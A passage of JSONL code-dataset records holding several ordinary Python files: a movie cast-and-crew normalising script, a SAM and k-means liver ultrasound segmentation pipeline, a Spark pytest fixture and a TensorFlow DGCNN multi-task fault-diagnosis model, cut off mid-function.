\"RUBY\", \"DIA\", \"DIA\", \"EMERALD\", \"SAPPHIRE\", \"DIA\"]\nprint(solution(gems))\n","repo_name":"Jungwoo-20/CodingTestStudy","sub_path":"프로그래머스/보석 쇼핑.py","file_name":"보석 쇼핑.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22906647667","text":"import json\n\nnormalizedCrews = []\nx = 0\nwith open('castcrewGender.json', 'r') as f:\n\tmovies = json.load(f)\n\tfor movie in movies:\n\t\tfor person in movie['castCrew']:\n\t\t\tcrewPerson = {}\n\t\t\tcrewPerson['tt'] = movie['tt']\n\t\t\tcrewPerson['Title'] = movie['Title']\n\t\t\tcrewPerson['Year'] = movie['Year']\n\t\t\tcrewPerson['tableauyear'] = '01/01/'+str(movie['Year'])\n\t\t\tcrewPerson['Names'] = person['Name']\n\t\t\tcrewPerson['castGroup'] = person['castGroup']\n\t\t\tcrewPerson['order'] = person['order']\n\t\t\tcrewPerson['Credit'] = person['Credit']\n\t\t\tcrewPerson['guessedGender'] = person['guessedGender']\n\t\t\t\n\t\t\tnormalizedCrews.append(crewPerson)\n\t\tx = x + 1\n\t\tprint('normalized ' + str(x) + ' of ' + str(len(movies)))\njson.dump(normalizedCrews, open('normalizedCrews.json', 'w'), indent=2)\nprint('All done :)')\n\t\t\n","repo_name":"Kltidwell/DocData","sub_path":"normalizeCrew.py","file_name":"normalizeCrew.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25082411133","text":"# Starting with model SAM(segment anything model) modified\nimport os\nimport cv2\nimport numpy as np\nimport matplotlib.cm as cm\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom skimage import io, segmentation, color\n\nimport torch\nimport skimage\nimport argparse\nfrom PIL import Image\nimport supervision as sv\nimport matplotlib.image as mpimg\nfrom matplotlib.widgets import RectangleSelector\nfrom segment_anything import sam_model_registry, SamAutomaticMaskGenerator, SamPredictor\nfrom sklearn.cluster import KMeans\nfrom skimage import io, segmentation, color\nfrom skimage.segmentation import slic\nfrom skimage.color import label2rgb\n\nclass SAM_PRED:\n def __init__(self, image_path):\n # Constructor - initialize instance variables\n self.image_path = image_path\n\n self.original_image = cv2.imread(self.image_path,cv2.IMREAD_GRAYSCALE)\n self.segmented_image = np.zeros(self.original_image.shape)\n self.active_image = np.zeros(self.original_image.shape)\n\n # hyperparameters : experiment around with them a bit more\n self.no_clusters = 5\n self.exclude_color = 255\n self.black_shadow_background =15\n self.surround_black_thres = 5\n self.global_ex_list = []\n self.mask_list = []\n\n def get_line(self,point1 ,point2,pred_x):\n grad = (point1[1] - point2[1])/(point1[0] - point2[0])\n c_inter = point1[1] - (grad * point1[0])\n\n new_pred = (grad * pred_x) + c_inter\n\n last_point = [pred_x,new_pred]\n return last_point\n\n def mask2box(self,mask):\n '''Takes a 2-D array of a mask and outputs a box''' \n indices = np.where(mask)\n min_x = min(indices[0])\n max_x = max(indices[0])\n\n min_y = min(indices[1])\n max_y = max(indices[1])\n\n box = np.array([min_y,min_x,max_y,max_x])\n return box\n\n def mask2Pix(self,mask):\n '''Takes a 2-D array of a mask and outputs a list of pixels'''\n indices = np.where(mask)\n ex_pix = []\n for i in range(0,len(indices[0])):\n ex_pix.append([indices[0][i],indices[1][i]])\n return ex_pix\n\n def add_exclude_pix(self,ex_list):\n self.global_ex_list = self.global_ex_list + ex_list\n\n def exclude_pix(self):\n '''Expect a list of pixels to exclude'''\n for curr_pix in self.global_ex_list:\n self.active_image[curr_pix[0],curr_pix[1]] = self.exclude_color\n\n def avg_pix(self):\n '''\n Averaging the cluster labels\n '''\n new_img = np.zeros(self.segmented_image.shape)\n avg_color = {}\n for i in range(0,self.no_clusters):\n temp = {\"tot\":0.0,\"tot_pix\":0.0}\n avg_color[str(i)] = temp\n\n\n for i in range(0,self.segmented_image.shape[0]):\n for j in range(0,self.segmented_image.shape[1]):\n avg_color[str(self.segmented_image[i,j])][\"tot\"] += self.original_image[i,j] \n avg_color[str(self.segmented_image[i,j])][\"tot_pix\"] += 1 \n\n for i in range(0,self.no_clusters):\n avg_color[str(i)][\"tot\"] = avg_color[str(i)][\"tot\"]/ avg_color[str(i)][\"tot_pix\"]\n\n for i in range(0,self.segmented_image.shape[0]):\n for j in range(0,self.segmented_image.shape[1]):\n temp_c = self.segmented_image[i,j]\n new_img[i,j] = avg_color[str(temp_c)][\"tot\"]\n self.segmented_image = new_img\n self.active_image = new_img\n return None\n\n def k_means(self):\n '''Performs a k-means clustering of an image into 5 clusters'''\n # Create a mask to exclude specified pixels\n height, width = self.original_image.shape\n mask = np.ones((height, width), dtype=bool)\n for curr_ex in self.global_ex_list:\n mask[curr_ex[0], curr_ex[1]] = False\n\n # Apply the mask to the grayscale image\n masked_image = self.original_image.copy()\n masked_image[~mask] = 0.54 # Set excluded pixels to black (or any other value)\n\n # Flatten the masked grayscale image into a 1D array\n pixels = masked_image.reshape(-1, 1)\n\n # Apply k-means clustering to the pixels\n kmeans = KMeans(n_clusters=self.no_clusters, random_state=0).fit(pixels)\n\n # Get cluster labels for all pixels, including excluded pixels\n cluster_labels = kmeans.labels_\n\n # Reshape cluster labels to match the image dimensions\n cluster_labels = cluster_labels.reshape((height, width))\n\n self.segmented_image = cluster_labels\n self.active_image = cluster_labels\n plt.imshow(self.active_image)\n plt.show()\n return None\n\n def sam_annotators(self,detections):\n '''Annotating SAM images and boxes'''\n image_rgb = self.original_image.astype(np.uint8)\n box_annotator = sv.BoxAnnotator(color=sv.Color.red())\n mask_annotator = sv.MaskAnnotator(color=sv.Color.red())\n\n source_image = box_annotator.annotate(scene=image_rgb.copy(), detections=detections, skip_label=True)\n segmented_image = mask_annotator.annotate(scene=image_rgb.copy(), detections=detections)\n return source_image, segmented_image\n\n def sam_pred(self,box):\n '''A SAM model to predict a mask'''\n DEVICE = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n MODEL_TYPE = \"vit_l\"\n\n sam = sam_model_registry[MODEL_TYPE](checkpoint=\"/home/anas/Desktop/code/practikum/our_code/misc/sam_vit_l_0b3195.pth\").to(device=DEVICE)\n mask_predictor = SamPredictor(sam)\n image_rgb = self.original_image.astype(np.uint8)\n image_rgb = np.stack((image_rgb,image_rgb,image_rgb), axis=-1)\n mask_predictor.set_image(image_rgb)\n\n masks, _, _ = mask_predictor.predict(\n box=box,\n multimask_output=True\n )\n detections = sv.Detections(\n xyxy=sv.mask_to_xyxy(masks=masks),\n mask=masks\n )\n detections = detections[detections.area == np.max(detections.area)]\n return detections\n\n def sam_pred_image(self,image,box):\n '''A SAM model to predict a mask'''\n DEVICE = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n MODEL_TYPE = \"vit_l\"\n\n sam = sam_model_registry[MODEL_TYPE](checkpoint=\"/home/anas/Desktop/code/practikum/our_code/misc/sam_vit_l_0b3195.pth\").to(device=DEVICE)\n mask_predictor = SamPredictor(sam)\n image_rgb = image.astype(np.uint8)\n image_rgb = np.stack((image_rgb,image_rgb,image_rgb), axis=-1)\n mask_predictor.set_image(image_rgb)\n\n masks, _, _ = mask_predictor.predict(\n box=box,\n multimask_output=True\n )\n detections = sv.Detections(\n xyxy=sv.mask_to_xyxy(masks=masks),\n mask=masks\n )\n detections = detections[detections.area == np.max(detections.area)]\n return detections\n\n def black_space(self):\n ex_pix = []\n self.liver_p = False\n\n for j in range(0,self.original_image.shape[0]):\n for i in range(0,self.original_image.shape[1]):\n if self.original_image[j,i] < self.black_shadow_background:\n ex_pix.append([j,i])\n else:\n break\n\n for j in range(0,self.original_image.shape[0]):\n for i in range(self.original_image.shape[1]-1,-1,-1):\n if self.original_image[j,i] < self.black_shadow_background:\n ex_pix.append([j,i])\n else:\n break\n\n for j in range(0,self.original_image.shape[1]):\n for i in range(0,self.original_image.shape[0]):\n if self.original_image[i,j] < self.black_shadow_background:\n ex_pix.append([i,j])\n else:\n break\n if i > (self.original_image.shape[0]/1.5):\n self.liver_p = True\n\n for j in range(0,self.original_image.shape[1]):\n for i in range(self.original_image.shape[0]-1,-1,-1):\n if self.original_image[i,j] < self.black_shadow_background:\n ex_pix.append([i,j])\n else:\n break\n if i > (self.original_image.shape[0]/1.5):\n self.liver_p = True\n \n self.global_ex_list = self.global_ex_list + ex_pix\n\n def top_skin(self):\n '''\n Find if top skin exists\n Returns:\n 1. Mask object (numpy array)\n '''\n cursors = []\n\n def change_position(image,y_pos,x_pos, mul):\n x_cur = x_pos \n while x_cur < image.shape[1] and image[y_pos,x_cur] < self.black_shadow_background:\n x_cur += mul \n return [y_pos,x_cur]\n\n cursors.append(change_position(self.original_image,5,10,4))\n cursors.append(change_position(self.original_image,10,10,4))\n\n cursors.append(change_position(self.original_image,5,self.original_image.shape[1]-1,-4))\n cursors.append(change_position(self.original_image,10,self.original_image.shape[1]-1,-4))\n\n left_bot = self.get_line(cursors[0],cursors[1],150)\n right_bot = self.get_line(cursors[2],cursors[3],150)\n\n box1 = np.array([left_bot[1],cursors[0][0],right_bot[1],150])\n detect1 = self.sam_pred_image(self.original_image,box1)\n\n self.mask_list.append(detect1.mask[0])\n #plt.imshow(detect1.mask[0])\n #plt.show()\n\n return detect1.mask\n \n def bot_skin(self):\n '''\n Find if bottom skin exists\n Returns:\n 1. Mask object (numpy array)\n '''\n unique_col = np.unique(self.active_image)\n last_col = unique_col[len(unique_col)-1]\n\n binary_mask = self.active_image == last_col\n\n labeled_image, count = skimage.measure.label(binary_mask, return_num=True)\n objects = skimage.measure.regionprops(labeled_image)\n \n masks_curr = np.zeros(self.active_image.shape)\n\n for i in range(0,len(objects)):\n curr_lab = objects[i][\"label\"]\n if objects[i][\"area\"] > 100 :\n masks_curr = np.logical_or(masks_curr,(labeled_image == curr_lab))\n\n all_ind = np.where(masks_curr)\n bottom_mask = np.zeros(masks_curr.shape)\n\n # Add additional information about what part i should omit\n ex_pix = []\n for i in range(0,len(all_ind[0])):\n if (all_ind[0][i] > int(self.active_image.shape[0]/2)):\n ex_pix.append([all_ind[0][i],all_ind[1][i]])\n bottom_mask[all_ind[0][i],all_ind[1][i]] = 1\n self.mask_list.append(bottom_mask.astype(bool))\n self.global_ex_list = self.global_ex_list + ex_pix\n\n return []\n\n def surround_black(self, segment,real_image):\n '''\n See which vessel is surrounded by black space.\n We exclude those detections that are not within liver segmentation\n '''\n listind = [-1,1]\n indices = np.where(segment)\n iteri = 0\n total = 0\n\n for curr_ind in range(0,len(indices[0])):\n for i in listind:\n for j in listind:\n total += 1\n if real_image[indices[0][curr_ind]+i][indices[1][curr_ind]+j] == self.exclude_color:\n iteri += 1\n return False\n if iteri > self.surround_black_thres:\n return False\n \n return True\n\n def vessel_detection(self):\n '''Vessel detection and refinement using SAM'''\n clustered_image = self.active_image\n unique_col = np.unique(clustered_image)\n last_col = np.sort(unique_col)[0] \n\n labeled_image, count = skimage.measure.label((clustered_image == last_col), return_num=True)\n objects = skimage.measure.regionprops(labeled_image)\n\n masks_curr = np.zeros(clustered_image.shape)\n vessels_curr = np.zeros(clustered_image.shape)\n for i in range(0,len(objects)):\n curr_lab = objects[i][\"label\"]\n if objects[i][\"area\"] > 50 and self.surround_black((labeled_image == curr_lab),clustered_image):\n box = self.mask2box(labeled_image == curr_lab)\n sam_mask = self.sam_pred_image(self.active_image,box)\n vessels_curr = np.logical_or(vessels_curr,sam_mask.mask[0])\n masks_curr = np.logical_or(masks_curr,(labeled_image == curr_lab))\n else:\n masks_curr = np.logical_or(masks_curr,(labeled_image == curr_lab))\n\n all_ind = np.where(masks_curr)\n ex_pix = []\n for i in range(0,len(all_ind[0])):\n ex_pix.append([all_ind[0][i],all_ind[1][i]])\n self.mask_list.append(vessels_curr)\n \n self.global_ex_list = self.global_ex_list + ex_pix\n\n def liver_segmentation(self):\n '''Liver segmentation using SAM. '''\n\n ex_pix = []\n unique_col = np.unique(self.active_image)\n liver_indices = []\n for curr_col in unique_col:\n if (curr_col > 10) and (curr_col < 125):\n liver_indices.append(curr_col)\n\n liver_mask = np.zeros(self.active_image.shape)\n for curr_col in liver_indices:\n liver_mask = np.logical_or(liver_mask,(self.active_image ==curr_col))\n\n sam_refined = self.sam_pred_image(self.active_image,self.mask2box(liver_mask))\n self.mask_list.append(sam_refined.mask[0])\n \n def white_segmentation(self):\n '''Segments white stuff inside a liver'''\n white_stuff_col = np.unique(self.active_image)[-2]\n white_mask = self.active_image == white_stuff_col\n self.mask_list.append(white_mask)\n\n def display_all(self,np_arr):\n '''Display all images side by side'''\n sizer = len(np_arr)\n fig, all_axes = plt.subplots(1, sizer, figsize=(10, 5))\n for i in range(0,sizer): \n all_axes[i].imshow(np_arr[i]) # You can specify the colormap (cmap) as needed\n plt.show()\n\n def update_progress(self):\n '''Updates the progress made by our method'''\n\n sizer = len(self.mask_list) + 1 + 1\n fig,all_axes = plt.subplots(1,sizer, figsize=(10,5))\n all_axes[0].imshow(self.original_image)\n all_axes[1].imshow(self.active_image)\n for i in range(2,sizer):\n all_axes[i].imshow(self.mask_list[i-2])\n plt.show()\n\n def display_masks(self):\n '''Display masks in one image'''\n height,width = self.active_image.shape\n seg_color_image = np.zeros((height,width,3))\n\n #plt.imshow(self.original_image)\n #plt.show()\n\n # 1. 3th image should be the liver\n # 2. 0nd image should be the top skin\n # 3. 1rd image should be the bot skin\n # 4. 2th image should be the vessels\n # 5. 4th image should bbe the white stuff\n seg_color_image[self.mask_list[3]] = [255,255,0]\n seg_color_image[self.mask_list[1]] = [0,0,255]\n\n seg_color_image[self.mask_list[2]] = [255,0,0]\n seg_color_image[self.mask_list[4]] = [0,255,255]\n seg_color_image[self.mask_list[0]] = [0,255,0]\n\n self.final_segmented_image = seg_color_image\n #plt.imshow(self.final_segmented_image)\n #plt.show()\n\n def display_single_image(self,image):\n \"\"\"Display single image\"\"\"\n plt.imshow(image)\n plt.show()\n\nclass PRED_FOLDER:\n def __init__(self, folder_path):\n # Constructor - initialize instance variables\n file_list = [f for f in os.listdir(folder_path) if os.path.isfile(os.path.join(folder_path, f))]\n\n def kmeans_sam_pred(self,path):\n seg_obj = SAM_PRED(path)\n \n # Start with getting the k-means cluster\n seg_obj.k_means()\n seg_obj.avg_pix()\n\n # Then start with getting the shape of the liver if present\n seg_obj.black_space()\n liver_present = seg_obj.liver_p\n\n # Detecting the top skin if present\n if liver_present:\n seg_obj.top_skin()\n seg_obj.bot_skin()\n seg_obj.exclude_pix()\n\n seg_obj.vessel_detection()\n seg_obj.exclude_pix()\n seg_obj.liver_segmentation()\n seg_obj.white_segmentation()\n\n return seg_obj.final_segmented_image\n\n def kmeans_dino_pred(self,path):\n seg_obj = DINO_PRED(path)\n\n return seg_obj.final_segmented_image\n\n def metrics_prediction(self,path):\n \"\"\"Predicts the IOU and DICE score of the objects\"\"\"\n return None\n\nif __name__ == \"__main__\":\n print (\"Segmenting the image: \")\n parser = argparse.ArgumentParser(description=\"Transform and process images\")\n parser.add_argument(\"input_image\", type=str, help=\"Input directory containing your dataset\")\n args = parser.parse_args()\n \n path = args.input_image\n seg_obj = SAM_PRED(path)\n \n # Start with getting the k-means cluster\n seg_obj.k_means()\n seg_obj.avg_pix()\n\n # Then start with getting the shape of the liver if present\n seg_obj.black_space()\n liver_present = seg_obj.liver_p\n\n # Detecting the top skin if present\n if liver_present:\n seg_obj.top_skin()\n seg_obj.bot_skin()\n seg_obj.exclude_pix()\n\n seg_obj.vessel_detection()\n seg_obj.exclude_pix()\n seg_obj.liver_segmentation()\n seg_obj.white_segmentation()\n #seg_obj.update_progress()\n seg_obj.display_masks()\n","repo_name":"AnasShahzad1996/LiverUltrasoundSegmentation","sub_path":"scripts/SAM_METHOD.py","file_name":"SAM_METHOD.py","file_ext":"py","file_size_in_byte":17527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18803044663","text":"# -*- coding: utf-8 -*-\nimport findspark\nfindspark.init()\nimport os\nimport pytest\nfrom utils import create_spark_session, zip_app, ZIP_FILE_NAME, get_app_path, get_resources_path\n\n\n@pytest.fixture(scope='session')\ndef spark():\n jar_xml = os.path.join(get_resources_path(), \"spark-xml_2.11-0.11.0.jar\")\n # jar_nlp = os.path.join(get_resources_path(), \"spark-nlp_2.11-2.7.2.jar\")\n config = {\n \"spark.jars\": f\"{jar_xml}\",\n \"spark.jars.packages\": \"com.johnsnowlabs.nlp:spark-nlp_2.11:2.7.2\",\n }\n spark = create_spark_session(\"tests\", local=True, config=config)\n zip_app()\n spark.sparkContext.addPyFile(os.path.join(get_app_path(), ZIP_FILE_NAME))\n yield spark\n spark.stop()\n","repo_name":"cgonzalezval/document_process_spark","sub_path":"src/python/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42962846572","text":"# coding: utf-8\n\"\"\"\n@author Liuchen\n2019\n\"\"\"\nimport math\n\nimport tensorflow as tf\nimport tools\nimport numpy as np\nimport logging\n\nlogger = logging.getLogger('main.dnn_model')\n\n\nclass DGCNN:\n def __init__(self, hyper_params=None):\n '''\n 超参数输入方法1：以HyperParams对象的方式输入参数\n\n 参数：\n class_num 分类类别数量\n embed_size 词向量维度\n lstm_sizes RNN隐层维度，可有多层RNN\n vocab_size 词典大小\n embed_matrix 词向量矩阵\n fc_size 全连接层大小\n max_sent_len 最大句长\n isBiRNN * 是否使用双向RNN\n refine * 词向量是否refine\n '''\n tf.reset_default_graph() # 清空计算图，否则连续多次执行会出错\n if hyper_params and not isinstance(hyper_params, tools.Parameters):\n raise Exception(f'hyper_params must be an object of {type(tools.Parameters)} --- by LIC')\n\n # 默认参数\n default_params = {\n 'gcnn_dims': (32, 32, 32, 1)\n }\n hyper_params.default(default_params)\n self.hypers = hyper_params # 所有超参数都保存在其中\n\n\n def weight_matrix(self, shape, name=None):\n \"\"\"\n 权值矩阵及初始化\n Glorot & Bengio (AISTATS 2010) init.\n \"\"\"\n init_range = np.sqrt(6.0 / (shape[0] + shape[1]))\n initial = tf.random_uniform(shape, minval=-init_range, maxval=init_range, dtype=tf.float32)\n return tf.Variable(initial, name=name)\n\n def set_public(self):\n '''\n placeholder 参数\n '''\n with tf.name_scope(\"place_hoders\"):\n self.learning_rate = tf.placeholder_with_default(0.01, shape=(), name='learning_rate') # 学习率\n self.keep_prob = tf.placeholder_with_default(1.0, shape=(), name='keep_prob') # dropout keep probability\n # self.l2reg = tf.placeholder_with_default(0.0, shape=(), name='L2reg') # L2正则化参数\n self.ajacent = tf.sparse_placeholder(tf.float32, name=\"batch_adjacent\") # 邻接矩阵\n self.features = tf.placeholder(tf.float32, (None, self.hypers.feature_dim),\n name=\"batch_node_features\") # 节点特征\n self.dgree_inv = tf.sparse_placeholder(tf.float32, name=\"batch_degree_inv\") # 节点度矩阵的逆\n self.graph_indexes = tf.placeholder(tf.int32, (None, 2), name=\"batch_indecis\") # batch中每���网络节点特征的始未位置\n self.labels = tf.placeholder(tf.int32, [None, self.hypers.class_num], name='labels') # 网络标签\n self.labels_fs = tf.placeholder(tf.int32, [None, self.hypers.fault_source_num], name='labels_fs') # 故障网元\n self.labels_bn = tf.placeholder(tf.int32, [None, self.hypers.board_number_num], name='labels_bn') # 故障单板\n self.labels_pn = tf.placeholder(tf.int32, [None, self.hypers.port_number_num], name='labels_pn') # 故障端口\n self.labels_ar = tf.placeholder(tf.int32, [None, self.hypers.alarm_root_num], name='labels_ar') # 根告警\n\n def gcnn_layer(self, input_Z, in_dim, out_dim, layer_id):\n \"\"\"\n 一个DGCNN层\n \"\"\"\n with tf.name_scope(f\"gcnn_layer_{layer_id}\"):\n W = self.weight_matrix(shape=(in_dim, out_dim), name=f\"dgcnn_W_{layer_id}\")\n tf.summary.histogram(f'gcn_layer_{layer_id}/weights', W)\n AZ = tf.sparse_tensor_dense_matmul(self.ajacent, input_Z) # AZ\n AZ = tf.add(AZ, input_Z) # AZ+Z = (A+I)Z\n AZW = tf.matmul(AZ, W) # (A+I)ZW\n DAZW = tf.sparse_tensor_dense_matmul(self.dgree_inv, AZW) # D^-1AZW\n\n return tf.nn.tanh(DAZW) # tanh 激活\n\n def gcnn_layers(self):\n \"\"\"\n 多个gcnn层\n \"\"\"\n with tf.name_scope(\"gcnn_layers\"):\n Z1_h = []\n in_dim = self.hypers.feature_dim\n Z = self.features\n for i, dim in enumerate(self.hypers.gcnn_dims): # 多个GCNN层\n out_dim = dim\n Z = self.gcnn_layer(Z, in_dim, out_dim, i)\n in_dim = out_dim\n Z1_h.append(Z)\n Z1_h = tf.concat(Z1_h, 1) # 拼接每个层的Z\n return Z1_h\n\n def sortpooling_layer(self, gcnn_out):\n def sort_a_graph(index_span):\n indices = tf.range(index_span[0], index_span[1]) # 获取单个图的节点特征索引\n graph_feature = tf.gather(gcnn_out, indices) # 获取单个图的全部节点特征\n\n graph_size = index_span[1] - index_span[0]\n k = tf.cond(self.hypers.k > graph_size, lambda: graph_size, lambda: self.hypers.k) # k与图size比较\n # 根据最后一列排序，返回前k个节点的特征作为图的表征\n top_k = tf.gather(graph_feature, tf.nn.top_k(graph_feature[:, -1], k=k).indices)\n\n # 若图size小于k，则补0行\n zeros = tf.zeros([self.hypers.k - k, sum(self.hypers.gcnn_dims)], dtype=tf.float32)\n top_k = tf.concat([top_k, zeros], 0)\n return top_k\n\n with tf.name_scope(\"sort_pooling_layer\"):\n sort_pooling = tf.map_fn(sort_a_graph, self.graph_indexes, dtype=tf.float32)\n return sort_pooling\n\n def sortpooling_layer_fs(self, gcnn_out):\n def sort_a_graph(index_span):\n indices = tf.range(index_span[0], index_span[1]) # 获取单个图的节点特征索引\n graph_feature = tf.gather(gcnn_out, indices) # 获取单个图的全部节点特征\n\n return graph_feature\n with tf.name_scope(\"sort_pooling_layer_fs\"):\n sort_pooling = tf.map_fn(sort_a_graph, self.graph_indexes, dtype=tf.float32)\n return sort_pooling\n\n def cnn1d_layers(self, inputs):\n \"\"\"\n 两个1维cnn层\n \"\"\"\n with tf.name_scope(\"cnn1d_layers\"):\n total_dim = sum(self.hypers.gcnn_dims)\n graph_embeddings = tf.reshape(inputs, [-1, self.hypers.k * total_dim, 1]) # (batch, width, channel)\n\n # 第一个1d CNN层，以及MaxPooling层\n if self.hypers.conv1d_kernel_size[0] == 0:\n self.hypers.conv1d_kernel_size[0] = total_dim\n cnn1 = tf.layers.conv1d(graph_embeddings,\n self.hypers.conv1d_channels[0], # channel\n self.hypers.conv1d_kernel_size[0], # kernel_size\n self.hypers.conv1d_kernel_size[0]) # stride\n act1 = tf.nn.relu(cnn1)\n pooling1 = tf.layers.max_pooling1d(act1, 2, 2) # (value, kernel_size, stride)\n\n # 第二个1d CNN层\n cnn2 = tf.layers.conv1d(pooling1, self.hypers.conv1d_channels[1], self.hypers.conv1d_kernel_size[1], 1)\n act2 = tf.nn.relu(cnn2)\n\n return act2\n\n\n def fc_layer(self, inputs):\n \"\"\"\n 全连接层\n \"\"\"\n with tf.name_scope(\"fc_layer\"):\n # for batch data reshape\n batchsize = tf.shape(self.graph_indexes)[0]\n graph_embed_dim = int((self.hypers.k - 2) / 2 + 1)\n graph_embed_dim = (graph_embed_dim - self.hypers.conv1d_kernel_size[1] + 1) * self.hypers.conv1d_channels[1]\n # reshape batch data\n cnn1d_embed = tf.reshape(inputs, [batchsize, graph_embed_dim])\n outputs = tf.layers.dense(cnn1d_embed, self.hypers.dense_dim, activation=tf.nn.relu)\n return outputs\n\n def fc_mmoe_layer(self, inputs, inputs_fs):\n \"\"\"\n mmoe多任务模型中的全连接层\n \"\"\"\n with tf.name_scope(\"fc_mmoe_layer\"):\n\n # for batch data reshape\n batchsize = tf.shape(self.graph_indexes)[0]\n graph_embed_dim = int((self.hypers.k - 2) / 2 + 1)\n graph_embed_dim = (graph_embed_dim - self.hypers.conv1d_kernel_size[1] + 1) * self.hypers.conv1d_channels[1]\n # reshape batch data\n cnn1d_embed = tf.reshape(inputs, [batchsize, graph_embed_dim])\n cnn1d_embed_fs = tf.reshape(inputs_fs, [batchsize, graph_embed_dim])\n\n with tf.name_scope(\"fc_mmoe_experts_layer\"):\n mixture_experts = []\n for i in range(self.hypers.mmoe_expert_num):\n if i == 0:\n output_expert_fs = tf.layers.dense(cnn1d_embed_fs, self.hypers.dense_dim, activation=tf.nn.relu)\n mixture_experts.append(output_expert_fs)\n else:\n output_expert = tf.layers.dense(cnn1d_embed, self.hypers.dense_dim, activation=tf.nn.relu)\n mixture_experts.append(output_expert)\n\n with tf.name_scope(\"fc_mmoe_gate_layer\"):\n multi_gate = []\n for i in range(self.hypers.mmoe_expert_num):\n if i == 0:\n gate_fs = tf.layers.dense(cnn1d_embed_fs, self.hypers.mmoe_expert_num, activation=None)\n multi_gate.append(gate_fs)\n else:\n gate = tf.layers.dense(cnn1d_embed, self.hypers.mmoe_expert_num, activation=None)\n multi_gate.append(gate)\n\n with tf.name_scope(\"combine_gate_expert\"):\n outputs = []\n for i in range(self.hypers.mmoe_expert_num):\n gate_i = tf.transpose(multi_gate[i], [1, 0])\n gate_i = tf.expand_dims(gate_i, axis=-1)\n outputs.append(tf.reduce_sum(mixture_experts * gate_i, axis=0))\n\n return outputs\n\n\n def output_layer(self, inputs):\n \"\"\"\n 输出层\n \"\"\"\n with tf.name_scope(\"output_layer\"):\n drop_out = tf.nn.dropout(inputs, rate=1 - self.keep_prob) # dropout\n outputs = tf.layers.dense(drop_out, self.hypers.class_num, activation=None)\n return outputs\n\n def output_layer_fs(self, inputs):\n \"\"\"\n 第二个输出层：故障网元\n \"\"\"\n with tf.name_scope(\"output_layer_fs\"):\n drop_out = tf.nn.dropout(inputs, rate=1 - self.keep_prob)\n outputs_fs = tf.layers.dense(drop_out, self.hypers.fault_source_num, activation=None)\n return outputs_fs\n\n def output_layer_bn(self, inputs):\n \"\"\"\n 第三个输出层：故障单板\n \"\"\"\n with tf.name_scope(\"output_layer_bn\"):\n drop_out = tf.nn.dropout(inputs, rate=1 - self.keep_prob)\n outputs_bn = tf.layers.dense(drop_out, self.hypers.board_number_num, activation=None)\n return outputs_bn\n\n def output_layer_pn(self, inputs):\n \"\"\"\n 第四个输出层：故障端口\n \"\"\"\n with tf.name_scope(\"output_layer_pn\"):\n drop_out = tf.nn.dropout(inputs, rate=1 - self.keep_prob)\n outputs_pn = tf.layers.dense(drop_out, self.hypers.port_number_num, activation=None)\n return outputs_pn\n\n def output_layer_ar(self, inputs):\n \"\"\"\n 第五个输出层：根源告警\n \"\"\"\n with tf.name_scope(\"output_layer_ar\"):\n drop_out = tf.nn.dropout(inputs, rate=1 - self.keep_prob)\n outputs_ar = tf.layers.dense(drop_out, self.hypers.alarm_root_num, activation=None)\n return outputs_ar\n\n def set_loss_mean(self):\n \"\"\"\n 平均损失函数\n \"\"\"\n # softmax交叉熵损失\n with tf.name_scope(\"loss_scope\"):\n loss_num_label = []\n # reg_loss = tf.contrib.layers.apply_regularization( # L2正则化\n # tf.contrib.layers.l2_regularizer(self.l2reg),\n # tf.trainable_variables()\n # )\n\n loss_ = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[0], labels=self.labels))\n loss_num_label.append(loss_)\n\n loss_fs = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[1], labels=self.labels_fs))\n loss_num_label.append(loss_fs)\n\n loss_bn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[2], labels=self.labels_bn))\n loss_num_label.append(loss_bn)\n \n loss_pn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[3], labels=self.labels_pn))\n loss_num_label.append(loss_pn)\n \n loss_ar = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[4], labels=self.labels_ar))\n loss_num_label.append(loss_ar)\n\n\n self.loss = tf.reduce_mean(tf.stack(loss_num_label, 0)) # + reg_loss # ---GLOBAL---损失函数\n tf.summary.scalar('loss_mean', self.loss)\n #self.loss = loss_fs\n #self.loss = loss_\n\n def set_loss_uncertainty(self):\n \"\"\"\n 不确定性损失函数\n \"\"\"\n # softmax交叉熵损失\n with tf.name_scope(\"loss_scope\"):\n loss_num_label = []\n # reg_loss = tf.contrib.layers.apply_regularization( # L2正则化\n # tf.contrib.layers.l2_regularizer(self.l2reg),\n # tf.trainable_variables()\n # )\n\n loss_ = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[0], labels=self.labels))\n loss_num_label.append(loss_)\n\n loss_fs = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[1], labels=self.labels_fs))\n loss_num_label.append(loss_fs)\n\n loss_bn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[2], labels=self.labels_bn))\n loss_num_label.append(loss_bn)\n\n loss_pn = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[3], labels=self.labels_pn))\n loss_num_label.append(loss_pn)\n\n loss_ar = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(\n logits=self.logits_num_label[4], labels=self.labels_ar))\n loss_num_label.append(loss_ar)\n\n uncertainty_weight = [\n tf.get_variable(\"uncertainty_weight_\" + str(i), initializer=[1 / 5]\n ) for i in range(5)\n ]\n\n final_loss = []\n for i in range(5):\n final_loss.append(\n tf.div(loss_num_label[i], 2 * 